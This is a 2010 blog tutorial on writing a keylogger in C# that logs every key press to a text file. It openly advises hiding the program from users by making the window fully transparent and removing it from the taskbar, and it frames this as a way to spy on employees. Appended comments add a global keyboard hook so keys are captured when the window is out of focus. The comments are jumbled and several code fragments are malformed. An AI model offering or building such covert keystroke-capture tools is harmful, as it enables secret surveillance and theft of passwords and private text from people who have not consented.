Thursday, September 23, 2010

Key Logger Application in C#

Key Logger Application in C#


BY :- DEEPTI AGGARWAL


Overview
In this article, I'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file.
Description
Often you need to know what kind of key combination your final user has pressed, to know 
if theyre doing the things in the right way, or just to know what theyre writing as they are using the computer. Once, one client asked me to monitor the activity of his employees, to see if they were working when he was away.
Obviously I cant write an example like that, I dont have enough room, but I reckon that 
this
 example will be useful to understand how to write a more difficult one.
We need a form, just put a listbox, just to see whats happening.



now lets 
set the KeyPreview Property of the form on true, so that well be able to catch keys.


ok, now lets write some code 
in
 the KeyUp Event.private void Form1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e){listBox1.Items.Add(e.KeyCode);StreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);sw.Write(e.KeyCode);sw.Close();}
listBox1.Items.Add(e.KeyCode);
this line of code is to see keys pressed in the listbox;
then lets write the pressed keys 
in
 a text file:
//Open or Create the file if doesnt exist
StreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);//Write into the filesw.Write(e.KeyCode);//Close the file.sw.Close();
Finally, I have a very good tip 
in order to use the application, without the user knowing.
We need to 
set the Opacity Property of the form on 0%, and to set ShowInTaskBar on False otherwise the user will know something is
 up.
Before:


after:



Enjoy !!!


 Article Extensions
Contents added by sourabh aggarwal on Sep 23, 2010
Download File: globalKeyboardHook.zip
Hi Joe, I saw your comment and decided to reply; For this to capture keys when the form is not in focus, you need a Keyboard hook. Fortunately I have one on me and am willing to share it.

The file is included in this post

 You'll need this code and to add it to your project solution. Then in the namespace (Form1.cs), add this line:

using Utilities;

When you've done, add this code:

public Form1() { 
InitializeComponent(); 
globalKeyboardHook gkh = new globalKeyboardHook(); 
private void HookAll() { 
foreach (object key in Enum.GetValues(typeof(Keys))) { 
gkh.HookedKeys.Add((Keys)key); 
private void Form1_Load(object sender, EventArgs e) { 
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown); 
HookAll(); 
if (File.Exists(@"Keylogger.txt")) { 
File.Delete(@"Keylogger.txt"); 
void gkh_KeyDown(object sender, KeyEventArgs e) { 
StreamWriter SW = new StreamWriter(@"Keylogger.txt", true); 
SW.Write(e.KeyCode); 
SW.Close();
 }

It should write a line of code to Keylogger.txt in the source folder.

This will work when the form is minimized.

That said, here's my trouble:

After reading the text file after the keylogging occurred, i noticed it had the words all in Upper Case, and for punctuation such as SPACE or ENTER, the word space and enter was used.

Any thoughts on this?
Thanks

CONTENT ADDED BY:-sourabh aggarwal
Hi I'm sourabh, I love  what you have created but i have a few questions, At the moment it can onyly log keys when the form is in f, Is there a way of capturing the leys being pressed when the form is not in focus? like catching the keys, when the form is befind the application in in program etc?

I am a good programmer but not brillian so when you aply can you please keep is simple thank you,

code so far


        private void frmMain_KeyUp(object sender, KeyEventArgs e)
        {
            string kcode = (Convert.ToString(e.KeyCode));
            string tm = (Convert.ToString(DateTime.Now));

            ListViewItem item = new ListViewItem();
            lvView.Items.Add(item);

            item.Checked = false;
            item.SubItems.Add(kcode);
            item.SubItems.Add(tm);

             lvKeys.Items.Add(e.KeyCode);
           // Open or Create the file if doesnt exist
             StreamWriter sw = new StreamWriter(@"f:\Prova.txt", true);
           // Write into the file
             sw.Write(e.KeyCode);
           // Close the file.
             sw.Close();
        }


thank you again 

No comments:

Post a Comment